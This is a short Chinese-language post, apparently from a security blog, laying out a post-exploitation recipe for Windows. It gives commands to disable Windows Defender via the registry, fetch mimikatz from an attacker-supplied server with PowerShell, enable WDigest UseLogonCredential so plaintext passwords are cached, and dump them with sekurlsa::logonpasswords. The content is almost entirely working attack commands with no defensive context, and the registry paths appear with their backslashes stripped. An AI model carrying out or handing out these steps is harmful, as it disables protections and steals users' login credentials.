临时禁止Windows Defender
1
2
|
REG ADD "HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f gpupdate /force |
下载mimikatz后解压缩。
1
|
powershell.exe -NoP -NonI -Exec Bypass -Command "& {Import-Module BitsTransfer; Start-BitsTransfer 'http://你的服务器/mimikatz_trunk.zip' "%APPDATA%mimikatz_trunk.zip"}" |
修改注册表开启UseLogonCredential
1
|
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f |
等用户下次再登录的时候,可抓到明文密码
1
2
|
mimikatz.exe privilege::debug sekurlsa::logonpasswords exit |
原创文章,作者:moonsec,如若转载,请注明出处:https://www.moonsec.com/archives/2854